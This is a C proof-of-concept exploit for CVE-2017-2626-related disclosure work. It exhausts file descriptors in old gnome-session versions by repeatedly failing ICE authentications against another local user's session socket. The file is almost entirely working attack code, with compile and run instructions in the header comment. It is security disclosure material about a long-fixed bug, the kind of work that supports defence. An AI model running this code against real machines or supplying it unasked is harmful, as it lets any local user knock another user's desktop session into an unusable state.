/* 2017 - SUSE Linux GmbH, Matthias Gerstner based on the PoC for CVE-2017-2626 from: 2017 - X41 D-Sec GmbH, Eric Sesterhenn Not for commercial usage. Author: Eric Sesterhenn PoC DoS against a file descriptor / memory leak in gnome-session Author: Matthias Gerstner gnome-session until version 2.29.92 contained a file descriptor leak upon failed ICE connection authentications. It was fixed as a side effect of this commit in version 2.29.92: https://github.com/GNOME/gnome-session/commit/b0dc999e0b45355314616321dbb6cb71e729fc9d When the leak is present then the DoS is easily and quickly performed. Once all 1024 file descriptors are spent, the gnome-session process runs at 100 % CPU load trying to continue communication, but no more file descriptors can be opened. This breaks any further communication with gnome-session and thus the gnome desktop session becomes partly unusable. This worked for me on SUSE Enterprise Linux 11 SP4. You need to have some local user logged in in gdm. This PoC can be run by any other user. Compile like this: gcc -oice_dos ice_dos.c -g -O2 -lICE Run like this: ./ice_dos /tmp/.ICE-unix/1234 You need to select the UNIX socket that is matching your logged in user's gnome session for the PoC to work. */ #include #include #include #include #include #include #include #include #include #include #include #include int main(int argc, char **argv) { IceConn iceConn; char *ids = NULL; char *hostname = malloc(HOST_NAME_MAX); int PMopcode; const int error_length = 100; char *error_string = malloc(error_length); int _SmcOpcode = 1; const char *file = argv[1]; char authdata[16]; int i; FILE *authFile; IceAuthFileEntry auth; if (!error_string) { perror("no memory"); return 2; } IcePoVersionRec versions[] = { {1, 0, NULL} }; int version_count = 1; char *auth_names[] = {"MIT-MAGIC-COOKIE-1"}; IcePoAuthProc auth_procs[] = {NULL}; int auth_count = 1; if( argc != 2 ) { printf("Expected path to /tmp/.ICE-unix/\n"); return 1; } PMopcode = IceRegisterForProtocolSetup( "XSMP", "gnome-session", "3.14.0", version_count, versions, auth_count, auth_names, auth_procs, NULL ); if (PMopcode < 0) { exit(PMopcode); } if( gethostname(hostname, HOST_NAME_MAX) != 0 ) { perror("couldn't get hostname"); return 1; } asprintf(&ids, "local/%s:@%s", hostname, file); if (!ids){ perror("no memory"); } printf("Trying connection %s\n", ids); /* * simply authenticate unsuccessfully more than 1024 times to cause * DoS of gnome-session. */ auth.protocol_name = "ICE"; auth.protocol_data = 0; auth.protocol_data_length = 0; auth.network_id = ids; auth.auth_name = "MIT-MAGIC-COOKIE-1"; auth.auth_data = authdata; auth.auth_data_length = 16; authFile = fopen(IceAuthFileName(), "w+"); if (!IceWriteAuthFileEntry(authFile, &auth)) { exit(-1); } fclose(authFile); for (i = 0; i < 1025; i++) { iceConn = IceOpenConnection( ids, NULL, 0, _SmcOpcode, error_length, error_string ); if (iceConn) { printf("Connection opened unexpectedly\n"); return 0; } else { printf("%d: Failed: %s\n", i, error_string); } } free(error_string); free(hostname); printf("Failed to DoS\n"); return 3; }